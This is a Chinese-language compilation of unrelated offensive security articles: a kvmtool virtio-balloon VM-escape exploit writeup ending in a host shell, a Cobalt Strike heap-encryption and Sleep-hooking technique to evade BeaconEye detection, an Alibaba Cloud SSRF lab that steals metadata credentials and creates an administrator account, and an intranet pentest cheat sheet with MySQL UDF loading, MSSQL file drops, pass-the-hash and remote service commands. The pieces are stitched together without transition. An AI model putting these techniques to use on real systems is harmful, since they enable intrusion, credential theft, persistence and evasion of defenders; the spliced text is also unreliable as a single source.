在這裡,我們總是以else if的case子句結束,因為這不是MSIX操作。另外,config_offset是根據從virtio_pci__data_in傳遞的偏移量來計算的,我們看到它具有完整的訪問權限,並且沒有進行任何綁定檢查。並且,config_offset的值是在調用virtio__get_dev_specific_field時作為返回參數進行計算的。如果我們沒有執行MSIX操作,config_offset就是設置為傳遞給virtio__get_dev_specific_field的第一個參數的值,其偏移量為-20。

到目前為止,我們只討論了virtio和pci泛型函數,但這裡調用了ops-get_config,在本例中,它從balloon驅動程序中提取了u8*配置。這個函數只是一個簡單的getter,代碼如下所示:

image.png

正如我們在下面所看到的,virtio_balloon_config是結構體的最後一個元素;讀者可能已經註意到了,config結構體非常小。由於bar(地址範圍)為0x100(0xD2000000-0xD20000FF),因此,只要將偏移量設置為大於20,我們就能以0x10020+sizeof(virtio_balloon_config)的形式訪問這個config結構體。在這個地址範圍內執行寫入操作時,相當於對config結構體執行寫操作,這意味著我們獲得了一個越界讀/寫原語。

image.png

這段內存並沒有分配在堆棧上,而是分配到一個mmaped區域中。這意味著我們無法通過破壞這個內存區來控製程序流。但是,我們能夠利用這個漏洞來洩露信息,即洩露兩個感興趣的指針,其中一個指向bln_dev結構體本身的地址,另一個指向lkvm二進製文件的基址。

為了在用戶空間進程中洩漏這兩個指針,我們可以使用/dev/mem來訪問虛擬機的物理內存,具體代碼如下所示:

image.png

這裡,leak_u64使用ioread8從virtio-balloon所在的0xD2000000處的mmap/dev/mem區域讀取數據。我們將這20個字節加上一個越界的偏移量,使其正好指向lkvm可執行文件的地址,這樣我們就能實現信息洩漏了。對於bln_dev洩漏,我們可以重複相同的過程。

獲得程序流程的控制權現在終於到了最有趣的部分:控制rip。假如我們能利用前面的漏洞來編寫任意的越界代碼,那麼,我們可以破壞哪些有趣的數據呢?在下圖中,我在virtio_pci__specific_data_in函數中設置了一個斷點來檢查bln_dev內存。在這裡,我轉儲了位於config結構體後面的內存內容。其中,我們看到一些名為exit_lists的結構體,不幸的是,由於我們可以突破0x100的限制,所以,這些結構體都是可達的。但這些到底是什麼?

1.png

由於virtio_pci__specific_data_in中的偏移量-20導致轉儲不是0x10對齊的,所以地址可能會有點亂

當lkvm二進製文件關閉時,它會進行拆卸處理,包括調用一些退出處理程序,這就是我們在這裡發現的東西。如果我們查看init.c內部的第51行,我們會發現代碼非常平易近人:

image.png

這裡可以看到,在退出lkvm時,會遍歷struct init_item數組,並從數組中的最後一個元素開始,對每個元素調用t-init函數。這就是前面發現的exit_lists。列表中的每個條目都是指向init_item的指針(該結構體也用於初始化,它也因此得名)。如果我們能夠控制其中的指針,我們就就能偽造一個init_item,並在終止虛擬機操作系統時改變程序流程。

image.png

查看上面init_item的struct定義,我們就會發現它其實非常簡單:其中包含2個鍊錶指針、一個名稱指針和我們想要控制的函數指針,它相對於init_item頂部的偏移量為0x18。

實際上,我們之前在virtio_pci__data_in函數中還發現了其他功能,而不僅僅是對config進行讀取和寫入操作。下面,讓我們看一下virtio/pci.c第287行中該函數的等價物data_out:

image.png

這裡,我們對VIRTIO_PCI_QUEUE_PFN的第二個case子句非常感興趣,因為它調用了virtio-balloon特定的init虛擬隊列函數。我們可以在virtio/balloon.c中的第200行找到這個函數,具體如下所示:

image.png

正如我們所看到的,當調用vring_init時,它將vr-desc=p設置為完全處於我們控制之下的虛擬機物理頁面。我們可以看到,vring_init是從init_vq中調用的,參數是p,而p是從virtio_get_vq中獲得的,在那裡它可以找到給定頁幀號(pfn)的宿主機虛擬地址。在init_vq中,我們看到參數vq被用來計算進入bdev-vqs數組的偏移量。這個queue=bdev-vqs[vq]; 語句又是完全沒有任何約束檢查的,儘管在任何給定時間只有3個隊列。這意味著,只要控制了vq參數,我們就可以有效地插入一個指向虛擬機內存的邊界之外的指針。

在virtio_pci__data_out的代碼清單中,對init_vq的調用是作為vq的參數通過vpci-queue_selector進行傳遞的,在同一個清單中,我們還發現完全可以通過switch語句中的VIRTIO_PCI_QUEUE_SEL子句來控制vpci-queue_selector。

通過下面vring*vr的結構體定義,我們可以看到它有4個成員,大小為0x20,這意味著我們不能在任意位置插入這個指針。實際上,只有在偏移量0x20*x+8處,我們才能完全控制x。

image.png

大家肯定還記得,我們的exit_lists離這個bdev結構體的位置並不遠,而且,現在我們還獲得了一個未綁定的、指示插入位置的指針,所以,我們只要將vq設置為0x16,那麼,我們就能在這個exit_lists的最後一個條目中插入這個指針,具體代碼如下所示:

image.png

這裡,我們將頁幀號設置為0x1,這表示虛擬機物理地址0x1000,並再次使用/dev/mem,將物理地址0x1000映射為我們具有讀寫權限的用戶空間進程中的一個地址。顯然,以任何正常的方式重新引導或退出虛擬機操作系統,都不會調用這些退出處理程序,但幸運的是,在未定義的指令導致內核崩潰時,卻會調用這些程序。哈哈,大家還記得echo c /proc/sysrq-trigger嗎?

退出前的內存轉儲:

1.png

0x41代表字母A

這裡我們看到,所有從上面的memset插入的“A”,都出現在exit_lists+72內的地址上。很明顯,我們現在已經控制了程序流程,因為t-init(kvm)調用的這個地址完全處於我們的控制之下。既然已經得到了控制權,我們自然就可以重定向程序流程了。

現在,我們需要將代碼重定向到一個目標,以便在宿主機系統上執行代碼或命令,幸運的是,這個二進製文件含有返回函數virtio_net_exec_script的ret gadget:

1.png

超級好用的ret gadget

現在,如果我們能夠控制$rdi寄存器並跳轉到virtio_net_exec_script中用紅色箭頭標記的指令,就可以成功調用execl(command_we_control,),從而在宿主機系統上執行命令。

綜合起來現在,我們已經能夠偽造init_item,啟動調用exevl的ROP鏈,或者說是JOP鏈,接下來,我們將藉助於Jump oriented programming技術實現我們的目標。總而言之,我們現在利用第一個安全漏洞實現了指針洩露,並能控制該內存區域中一些字節的值,因為我們可以在洩漏的內區域中隨意執行寫入操作。同時,我們還找到了一種控制rip的方法,但遺憾的是,我們還無法控制函數調用t-init(kvm)中的參數kvm。

當我們第一次調用t-init時,$rbx指向我們偽造的init_item,也就是處於我們的控制之下的一段內存。

首先,我們要跳到這個gadget: mov rax, qword ptr [rbx +0x28]; mov rdi, rbx; mov rsi, qword ptr [rax + 8]; call qword ptr [rax];

這將交換rbx和rdi寄存器中的值,使我們能夠控制任何函數調用的第一個參數,並再次通過[$rbx +0x28]獲取一個新的跳轉位置。

現在,我們可以直接跳到前面介紹的那個超級棒的gadget代碼處了,因為我們現在能夠控制$rdi了。

1.png大功告成

現在,代碼將調用execl('/bin/sh', '', null);並返回一個shell!我們已經為這個漏洞申請了編號CVE-2021-45464,目前正在等待批准。至於完整的exploit,請參考原文末尾;但要注意的是,對於所有版本的lkvm來說,必須對利用代碼進行相應的修改:根據特定的二進制代碼修改gadget的偏移量。

加密堆分配為什麼要對堆分配進行加密?堆棧是局部作用域的,通常在函數完成時退出作用域。這意味著在函數運行期間設置在堆棧上的項目會在函數返回並完成時脫離堆棧;這顯然不適用於你長期保存內存變量的期望。此時,就需要用到堆了。堆更像是一種長期內存存儲解決方案。堆上的分配保留在堆上,直到你手動釋放它們。如果你不斷地將數據分配到堆上而從未釋放任何內容,也可能導致內存溢出。也就是說,堆可能包含長期配置信息,例如Cobalt Strike 的犧牲進程、休眠時間、回調路徑等。這意味著如果你的Cobalt Strike 代理在內存中運行,則任何防御者都可以在進程堆空間中以純文本形式看到你的配置。作為防御者,我們甚至不需要識別你注入的線程,就可以輕鬆地HeapWalk()所有分配並確定像“%windir%”這樣簡單的內容來嘗試識別你的犧牲進程:

1.png

如你所見,這是一個非常令人擔憂的想法。既然我們已經了解了這個問題,現在就必須去解決它。

我們有幾個潛在的解決方案,不過每個方案各有其優缺點。讓我們從獨立的EXE情況開始,因為這個要簡單得多。該二進製文件是你的Cobalt Strike 有效載荷。在這種情況下,我們可以很容易地實現我們的目標。使用前面提到的HeapWalk() 函數,我們就可以迭代堆中的每個分配並對其進行加密!為了防止錯誤,我們可以在加密堆之前掛起所有線程,然後在加密後恢復所有線程。

即使你認為你的程序是單線程的,Windows 似乎也在後台提供線程,為RPC 和WININET 等實用程序執行垃圾收集和其他類型的函數。如果你不掛起這些線程,它們將在嘗試引用加密分配時使你的進程崩潰。崩潰示例如下:

2.webp.jpg

Windows 後台線程

3.webp.jpg

wininet.dll 線程崩潰

從理論上講,這是一個很容易實現的方法!最後一個難題是如何在Cobalt Strike 休眠時調用所有這些函數,解決方法很簡單。

掛鉤如果我們查看Cobalt Strike 二進製文件的IAT(導入地址表),我們將看到它利用Kernel32.dll Sleep 來實現其休眠函數。

4.webp.jpg

Cobalt Strike 進口我們需要做的就是在kernel32.dll 中掛鉤Sleep,然後將掛鉤休眠中的行為修改為以下內容:

5.png

基本上,我們掛起所有的線程並運行我們的加密例程,如下所示:

6.png

這將創建一個PROCESS_HEAP_ENTRY 結構,在每次調用時將其清零,然後遍歷堆並將數據放入該結構中。然後我們檢查當前堆條目的標誌並驗證它是否已分配,以便我們只對分配進行加密。

然後我們運行原始/舊休眠函數,該函數將作為掛鉤函數的一部分創建,然後在恢復線程之前解密。這樣我們就可以防止再次引用分配時發生崩潰。總之,這是一個相當簡單的進程。目前我們還沒有用到的是掛鉤功能。

首先,什麼是函數掛鉤?函數掛鉤意味著我們在進程空間內重新路由對函數的調用,例如Sleep() ,以在內存中運行我們的任意函數。這樣,我們局可以改變函數的行為,觀察被調用的參數(因為我們的任意函數現在被調用,可以打印傳遞給它的參數),甚至完全阻止函數工作。在許多情況下,這就是EDR 監控可疑行為並發出警報的方式。他們掛鉤自認為有趣的函數,例如CreateRemoteThread,並記錄所有的參數,以便以後在可疑調用時發出警報。

那如何掛鉤該函數?有很多方法可以實現這一點,但我只會提到兩種並深入研究一種。我將提到的兩種技術是IAT掛鉤和Trampoline Patching

IAT掛鉤IAT 掛鉤背後的想法很簡單,每個進程空間都有所謂的導入地址表。此表包含已由二進製文件導入以供使用的DLL 和相關函數指針的列表。推薦的和最穩定的掛鉤方法是遍歷導入地址表,識別你嘗試掛鉤的DLL,識別你想要掛鉤的函數並覆蓋其指向任意掛鉤函數的函數指針。每當進程調用該函數時,它都會定位指針並調用你的函數。如果你想調用舊函數作為掛鉤函數的一部分,你可以存儲舊指針,ired.team 上已經存在一個示例。

這種方法有優點也有缺點,優點是實現起來非常簡單,而且非常穩定。你只是改變了調用的函數,你並沒有改變任何內容,但卻有很大的崩潰風險。

如果使用GetProcAddress() 來解析函數,它不會在IAT 中。這是一個非常有針對性的掛鉤方法,可以帶來好處,但如果你想監視更廣泛的調用,例如能夠掛鉤NtCreateThreadEx 與僅使用CreateRemoteThread,理論上也更容易檢測。

Trampoline Patching

現在讓我們談談Trampoline Patching。 Trampoline Patching 更難實現,很不穩定,並且由於必須解決許多相對尋址問題,因此可能需要很長時間才能對x64 進行普遍處理。值得慶幸的是,已經有人花時間製作了一個開源庫,以非常穩定的方式執行所有這些操作。

接下來讓我們繼續看看掛鉤是如何工作的,這樣我們就可以根據需要重新實現我們自己的掛鉤。首先使用GetProcAddress 和LoadLibrary 解析函數。然後,解析有效程序集的前X個指令數,加起來最少為五個字節。更具體地說,我們將使用一種非常常見的技術,該技術使用五字節相對跳轉操作碼(E9) 從函數庫跳轉到+- 2GB 的位置,然後跳轉到我們的任意函數。顯然,要使其工作,我們需要覆蓋函數的前五個字節。如果我們這樣做,就需要再次調用它這樣會破壞原始函數。為了確保我們可以在需要時解決舊函數,就必須保存第一條指令,稍後將寫入代碼cave作為trampoline的一部分,該trampoline將為我們運行它,然後跳回下一條指令的函數。但如果第一條指令只有四個字節,寫入五個字節就會破壞第二條指令的第一個操作碼。然後我們需要將前兩條指令存儲在我們的trampoline中,現在trampoline將運行前兩條指令並跳回到第三條指令繼續執行。這個trampoline所在的地方將是被掛鉤的原始函數的新指針。所以,原來的函數指針現在是這樣運行。

7.png

這個代碼cave也會跳轉到任意函數的某個位置,寫在原始函數基礎的相對五字節跳轉跳轉到這個位置,然後像這樣跳轉到任意函數。

8.png

這樣,我們現在就有了一種方法,可以在調用舊函數時運行任意函數,並根據需要調用原始函數。

現在讓我們開始調試,看看MessageBoxA 是乾淨的還是經過掛鉤的。

首先,我們掛鉤MessageBoxA。代碼看起來像這樣:

9.png

MessageBoxA位於user32.dll中,找到基地址後,Patching所有內容,向cave添加一些代碼,解析相對跳轉並將trampoline存儲在OldMessageBoxA() 中。

任意/掛鉤MessageBoxA 函數將如下所示:

10.png

我們需要匹配返回類型和參數,此時,我們將運行原始MessageBoxA,無論如何我們將修改文本,始終顯示“HOOKED”。

現在看一下前後對比情況:

11.1.webp.jpg

11.2.webp.jpg

Patching未進行掛鉤的消息框之前

12.1.webp.jpg

12.2.jpg

Patching進行掛鉤的消息框之後

如你所見,在BEFORE 屏幕截圖中,第一條指令只有四個字節。這意味著我們需要存儲前兩條指令;然後我們的相對跳轉繼續覆蓋前五個。我們不需要修改剩餘的字節,因為我們將讓trampoline執行我們存儲的前兩個字節,然後跳回位置0x00007FF8EF70AC27。讓我們繼續在調試器中查看新的掛鉤函數是什麼樣的。我們將在運行JMP 後立即開始:

13.webp.jpg

跳轉到掛鉤函數

首先看到兩個00。這樣做是為了確保如果我們將多個trampoline寫入cave,我們不會覆蓋函數指針中00 00 的末尾。接下來我們看到FF 25 00 00 00 00,也就是JMP QWORD PTR指令。緊接著,你將看到八個字節,它們是掛鉤函數的指針!如果我們執行這條指令,就會看到:

14.webp.jpg

掛鉤函數中的第一條指令

最後:

15.webp.jpg

內部掛鉤函數

我們可以看到我們在我們的掛鉤函數中,掛鉤函數只運行並返回舊函數,所以讓我們繼續執行舊函數:

16.webp.jpg

調用舊函數

讓我們看看結果如何:

17.webp.jpg

trampoline

如果你看這張圖,可以看到我們正在執行我們覆蓋的前兩條指令。在復制的字節之後,我們對OriginalFunction+7的位置執行第二個JMP QWORD PTR(因為在這個示例中trampoline的大小是7個字節)。這將使我們處於第三條指令的開頭。讓我們來看看:

18.webp.jpg

繼續執行

可以看到我們現在處於CMP 指令處,從我們停止的地方繼續執行。

通過這個進程,你可以看到像minhook 這樣的實用程序是如何工作的。現在,你可以像我一樣自己實現它,也可以使用像minhook 這樣穩定的內容。

19.png

將EXE 放在一起把所有內容放在一起看看它是什麼樣子的:

Hook Sleep();

在掛鉤函數中,掛起所有線程;

使用HeapWalk() 加密所有分配;

通過trampoline函數運行原始的Sleep();

使用HeapWalk() 解密所有分配;

恢復所有線程;

我將假設你擁有自己的加密、掛鉤和完整的線程掛起函數。代碼如下所示:

20.png

非常簡單,這段代碼顯然不包括你的植入程序。你可以通過以某種方式執行shell 代碼在同一進程空間中運行植入程序,也可以將其轉換為DLL 並將其註入執行後的信標中。由於它使用了HeapWalk(),所以它可以加密過去、現在和將來的分配,只需要掛鉤Sleep() 來開始調用。

在這個演示中,對於任何sleep值為1或更少的內容,我們都不加密。

21.gif

EXE HeapWalk() 加密器演示

如你所見,首先我們進行1 次休眠,BeaconEye 會捕獲我們的配置。將sleep值修改為5,然後開始加密,成功關閉BeaconEye。

注意,由於這會加密所有堆分配,因此它不會作為註入線程工作,因為當Cobalt Strike 處於休眠狀態時,它注入的進程將無法運行。想像一下注入explorer.exe,每次信標休眠時,所有的Explorer 都會凍結。當需要作為線程注入時,這個解決方案顯然不是最佳的。如果我們想要一些可以作為線程工作的內容,將需要做更多的工作。

可以在此處找到演示過程。

線程目標堆加密我們的新設計必須使用單獨的線程,因為無法掛起額外的線程也無法鎖定堆,主進程將需要繼續運行。這意味著當我們注入一個信標線程時,必須確保所有加密的分配都只來自該線程。如果我們正確定位線程,則可以成功地避免該問題。

現在在我們的dropper 中有掛鉤函數。為了操作堆,需要在Windows 中調用了一個函數子集:

HeapCreate()

HeapAllocate()

HeapReAllocate()

HeapFree()

HeapDestroy()

Windows中的Malloc和free,位於msvcrt.dll中,實際上是HeapAllocate()和HeapFree()的高級包裝器,它們是RtlAllocateHeap()和RtlFreeHeap()的高級包裝器,它們是Windows中最低級別的函數,最終直接管理堆。

22.webp.jpg

來自Ghidra的圖

這意味著如果我們掛鉤RtlAllocateHeap()、RtlReAllocateHeap() 和RtlFreeHeap(),則可以在Cobalt Strike 中跟踪堆空間內分配和釋放的所有內容。通過掛鉤這三個函數,我們可以在映射中插入分配和重新分配,並在調用free 時將它們從映射中刪除,但這仍然不能解決我們的線程目標問題。

事實證明,如果你從一個鉤子函數調用GetCurrentThreadId(),你實際上可以獲取調用線程的線程id,使用它,你可以注入你的信標,獲取其線程id 並執行類似於以下的操作:

23.png

這樣做是為了重新分配,也可以免費進行刪除,現在你的目標是一個線程!到目前為止很容易。但是還記得之前的那個問題,我們不得不掛起其他線程的原因嗎?在我們及時解密之前,WININET 和RPC 調用仍會嘗試訪問加密的內存。這裡有幾個選項,但我使用了我認為有趣的選項。由於加載的shell 代碼既不是有效的EXE 也不是DLL,因此我能夠從任何發起調用的對像中進行分配,這些調用源自沒有名稱的模塊。

為了讓這個機制起作用,我們需要解析進行函數調用的模塊。這可以通過以下代碼實現:

24.png

這將獲得_ReturnAddress內在函數,並將其與GetModuleHandleEx和標誌

GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS 一起使用,以識別哪個模塊正在進行此調用。然後我們可以將其轉換為小寫字符串,如果字符串不包含DLL 或EXE,我們繼續插入它。這樣,你就有了一個穩定的分配列表,可以在休眠時加密。你將需要重複這個進程為你的掛鉤重新分配。

要運行加密,你需要迭代列表並加密這些分配,而不是執行HeapWalk()。這將取決於你是否決定使用映射、矢量、鍊錶或其他內容。你希望將真正的HeapAlloc或ReAlloc返回的指針存儲到您的數組中,迭代數組並按大小對數據進行加密。上面示例中的Arg3是size 。

現在我們掛鉤了四個不同的函數,將基於線程id 的分配插入向量中,迭代向量並在休眠時加密每個地址。如果成功,我們應該可以再次繞過BeaconEye。

0x00 前言

本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 漏洞环境的搭建,然后通过实例中存在的 SSRF 漏洞一步步拿下该云服务账户的所有的阿里云服务权限。

0x01 环境搭建

本文采用 TerraformGoat 进行靶场的搭建,TerraformGoat 靶场地址:https://github.com/HuoCorp/TerraformGoat(opens new window)

在部署靶场时,需要用到你的阿里云 AccessKey,为了避免影响到你的云上生产环境,因此这里强烈建议使用非生产环境的 AccessKey,不要和生产环境使用同一个账号。

由于 TerraformGoat 工具的迭代更新,下述环境搭建的方法已失效,现在部署的方法更加方便友好,具体部署方法请参见上面的 TerraformGoat 靶场地址。

接下来开始搭建靶场,首先克隆靶场项目到本地,并构建下载靶场所需的依赖。

git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1
cd TerraformGoat
docker build . -t terraformgoat:v0.0.3
docker run -itd --name terraformgoat terraformgoat:v0.0.3
docker exec -it terraformgoat /bin/bash

如果 github 访问较慢,可以给终端挂上代理

proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url

在进入容器后,容器会提示选择接下来要使用的云服务提供商,这里以阿里云服务为例,输入 2 选择阿里云后回车。

pnhlokyvtqt14830.png

进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey

cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
aliyun configure

xwut1vkma4014833.png

部署 SSRF 靶场

如果 init 初始化比较慢,挂上代理即可

在 apply 期间,会提示 Enter a value,这时输入 yes 回车即可。

zmi0kimekx114836.png

在 Outputs 处,可以看到返回的靶场地址,访问这个地址,可以看到 SSRF 测试靶场页面,这时就说明环境搭建完了。

hffhmafunuj14838.png

0x02 环境利用

当前环境存在 SSRF 漏洞,但和常规 SSRF 所处的环境不同,这里的 SSRF 漏洞是出现在云服务器上的,这也就意味着我们可以通过这个 SSRF 漏洞获取到该服务器的元数据信息。

访问元数据

jn5rqp3lq2d14841.png

在返回的结果中,可以看到当前环境存在 ram/ 目录,这也就意味着当前云服务器配置了 RAM 角色,这样我们可以获取到临时凭证了。

通过元数据获取临时凭证

这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。

01esrgsgmej14846.png

将临时凭证配置到 aliyun 命令行工具里。

inls1piedce14849.png

创建子用户,并赋予管理员权限

ram CreateUser --UserName teamssix
aliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix

bkpqqqixwjo14857.png

访问 https://signin.aliyun.com (opens new window)页面,通过 RAM 用户进行登录,这里的用户格式为 username@company-alias,其中 username 就是刚刚创建的用户名,company-alias 可以通过下面的这个命令获取到。

ram GetAccountAlias

g5p0jajkjmc14861.png

这里的 AccountAlias 就是我们需要的 company-alias,接下来就可以登录控制台了。

5ojex0gbslu14867.png

输入刚才创建用户时的密码

apr1k13ao3y14871.png

登录后,就可以看到目标的控制台了。

rlxtdldqbc214875.png

由于刚才在创建用户时,赋予了 AdministratorAccess 权限,因此在 RAM 访问控制处可以看到,当前账号拥有管理所有阿里云资源的权限。

nwg23mortxf14886.png

在云服务 ECS 实例中也可以看到我们刚才搭建的那台 SSRF 靶场服务器。

lvikuza4riy14892.png

至此,就实现了利用云服务器上的 SSRF 漏洞接管了阿里云控制台。

另外这个环境里还放了一个 flag 文件,你如果感兴趣的话,可以动手去尝试找到这个 flag,Writeup 地址:https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf(opens new window)

0x03 防御措施

这个环境的问题除了存在 SSRF 外,还有另外两个主要的问题:

  1. RAM 角色权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作
  2. 元数据未做加固访问,导致一旦目标存在 SSRF 或目标权限被拿下,元数据就存在被获取的风险

那么针对第一个 RAM 角色权限过大的问题,主要还是需要使用者严格遵守权限最小化的原则,在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限,这样可以将影响程度降到最低,但是这并不能治本。

针对第二个元数据未做加固访问的问题,可以将实例上的元数据访问模式设置为加固模式,这是一种治本的方法,将元数据访问模式设置为加固模式有以下两种方法:

  1. 在创建实例时,可以在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」

pv5cbrsr11214905.png

  1. 在已经创建好的实例中,可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问,OpenAPI 地址:https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions(opens new window)

5ix11d3vd1r14914.png

将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。

bbhghqodm2o14921.png

值得一提的是,将元数据设置为加固模式可以防止通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是可以通过在实例上执行获取 token 的命令,然后利用该 token 获取到元数据。

在 Linux 实例中获取 token 的命令如下:

TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`

通过 token 获取元数据

curl -H "X-aliyun-ecs-metadata-token: $TOKEN"  http://100.100.100.200/latest/meta-data/

fbgniofm2as14926.png

对于 Windows 实例下的获取方法可以参考阿里云官方文档:https://help.aliyun.com/document_detail/108460.htm(opens new window)

将元数据访问模式设置为加固模式进而防御 SSRF 漏洞的这个方法由 2h0ng 师傅提供

0x04 环境删除

删除创建的子账号

ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
aliyun ram DeleteUser --UserName teamssix

删除 SSRF 靶场环境,在使用完靶场后,记得及时删除,因为这里创建的云服务是按时间计费的,该靶场实例的价格为每小时 0.17 元人民币。

在销毁靶场之前,记得把 AccessKey 配置成最开始的 AccessKey,配置命令:aliyun configure --mode AK

如果想清除 TerraformGoat,可以使用以下命令,如果以后还想进行云上攻防的学习,则可以将 TerraformGoat 环境保留下来。

docker stop terraformgoat
docker rm terraformgoat
docker rmi terraformgoat:v0.0.3

0x05 总结

这里通过云上 SSRF 漏洞获取到了临时密钥,通过临时秘钥创建了一个具有管理员访问权限的子用户,最后通过这个子用户接管了目标的控制台。

但是这个方法在实战中想要使用是有一些前提的,主要前提有以下两个:

  1. ECS 实例需要被授予 RAM 角色,不然访问临时凭证的元数据会返回 404
  2. RAM 角色需要具备 ram 访问控制的相关操作权限,例如创建用户、赋予权限等,不然临时秘钥会没有创建子用户的权限。

在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。

总的来说,云上攻防和常规的内网攻防还是十分不一样的。

  • 云上攻防的常见问题是配置错误,例如这里的问题就是 RAM 角色配置权限过高。
  • 云上攻防的权限维持主要方法是创建 RAM 高权限用户,而不是像传统攻防里那样有五花八门的权限维持方法。
  • 云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。
  • ……

最后,本文中所提到的很多命令都是参考火线云安全知识库中的内容,知识库地址:https://cloudsec.huoxian.cn (opens new window),在知识库的首页中可以看到火线云服务攻防矩阵,本文就是依据这个攻防矩阵进行的云上攻防。

2yer5onazwd14938.png

如果你还想找到更多云安全资源进行学习,可以访问 Awesome Cloud Security 项目,该项目当前已经收录了上百余条国内外云安全博客、工具、公众号等资源,项目地址:https://github.com/teamssix/awesome-cloud-security(opens new window)

4c0himepvni14948.png

参考文章:https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs



原文连接: https://wiki.teamssix.com/CloudService/EC2/aliyun-console-takeover.html

 0x00 环境

  1. Linux主机www权限
  2. 主机无法出外网
  3. 正向代理无法使用
  4. B段内网

0x01 收集信息

F-Scrack.py获取Redis, ES等

PS: Scrack.py的mssql模块爆破不准确,可以自己写一个简单的
python Scrack.py -h 10.111.1.1-10.111.2.254 -p 3306,5432 -m 200 -t 6

1.Redis

key较多的时候不要使用keys *

查看基本信息: master,数量,版本号
使用scan查看keys: scan 0 match * count 100 
查看类型: type <key>
hash类型: hgetall <key>

2.MySQL

windows下可以先测试是否可写入插件目录:

select @@plugin_dir;

select hello into outfile <plugin_dir>;

然后使用msf的自带的udf,先转换为16进制,然后导出到插件目录:

use test;
set @a=concat('', 0x<hex_of_exe>);
create table Ghost(data LONGBLOB);
insert into Ghost values("");
update Ghost set data = @a;
select data from Ghost into DUMPFILE <dir>;
create function sys_eval returns string soname 'sys_eval.dll';

drop function sys_eval; //用完删除,养成好习惯

首选SYS_EVAL, 尽量不要使用SYS_EXEC(会崩溃)

3.mssql

mssql爆破尽量放在后面执行,动静会比较大。

mssql爆破成功之后,最好使用CLR来获取权限,直接使用`xp_cmdshell`会死翘翘,360会拦截

已知mssql的用户密码,certutil等工具会被拦截或者报警,可以使用mssql自带的工具写入到硬盘:

现开启存储过程:

sp_configure 'show advanced options', 1;  
GO  
RECONFIGURE;  
GO  
sp_configure 'Ole Automation Procedures', 1;  
GO  
RECONFIGURE;  

mssql写大文件

比如exe之类的先转换为hex,然后再写入到文件:

xxd -plain /tmp/test.exe | tr -d '\n' > /tmp/dll.hex

declare @hexstring varchar(max);
set @hexstring = '转换之后的hex';
declare @file varbinary(max);
set @file = (select cast('' as xml).value('xs:hexBinary( substring(sql:variable("@hexstring"), sql:column("t.pos")) )', 'varbinary(max)')
from (select case substring(@hexstring, 1, 2) when '0x' then 3 else 0 end) as t(pos));

select @file;
declare @init int;
declare @filepath nvarchar(4000) = N'c:\22.exe';

EXEC sp_OACreate 'ADODB.Stream', @init OUTPUT; -- An instace created
EXEC sp_OASetProperty @init, 'Type', 1;
EXEC sp_OAMethod @init, 'Open'; -- Calling a method
EXEC sp_OAMethod @init, 'Write', NULL, @file; -- Calling a method
EXEC sp_OAMethod @init, 'SaveToFile', NULL, @filepath, 2; -- Calling a method
EXEC sp_OAMethod @init, 'Close'; -- Calling a method
EXEC sp_OADestroy @init; -- Closed the resources

4.mssql备份

BACKUP DATABASE <db>
TO DISK = 'C:\Windows\temp\db.bak' WITH COMPRESSION, INIT, STATS = 5;
  • 分卷压缩
rar.exe a -m0 -v100m C:\windows\temp\db.split C:\windows\tasks\db.bak

download C:\\windows\\temp\\db.split.rar /var/tmp/

6.pth

  • wmi
wmic /node:192.168.1.158 /user:pt007 /password:admin123  process call create "cmd.exe /c ipconfig>d:\result.txt"

推荐使用wmiexec.vbs:

https://github.com/l3m0n/pentest_study/blob/master/tools/wmiexec.vbs

cscript C:\Windows\Tasks\aliwmi.vbs /cmd <ip>  "C:\Windows\system32\calc.exe"
  • msf
use exploit/windows/smb/psexec 
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
set SMBUser Administrator
show options
run
  • mimikatz || Cobalt Strike
mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF /run:cmd.exe" //传递hash
  • psexec
psexec /accepteula //接受许可协议
sc delete psexesvc
psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe
  • psexec.vbs
cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"
  • 远程命令执行sc
net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test
sc \\192.168.17.138 del test

windows远程执行cmd的9种方法: https://xz.aliyun.com/t/5957

0x03 access is denied

对于任何非RID 500的本地管理员(Administrator)连接到Windows Vista+的计算机,无论采用wmi、psexec还是其它方法,使用的令牌都是中等令牌, 使用wmiexec的时候会修暗示Access is Denied

在抓取hash的情况下,可以修改注册表,使得本地管理员组成员都可以远程连接,作为一种持久化的手段。

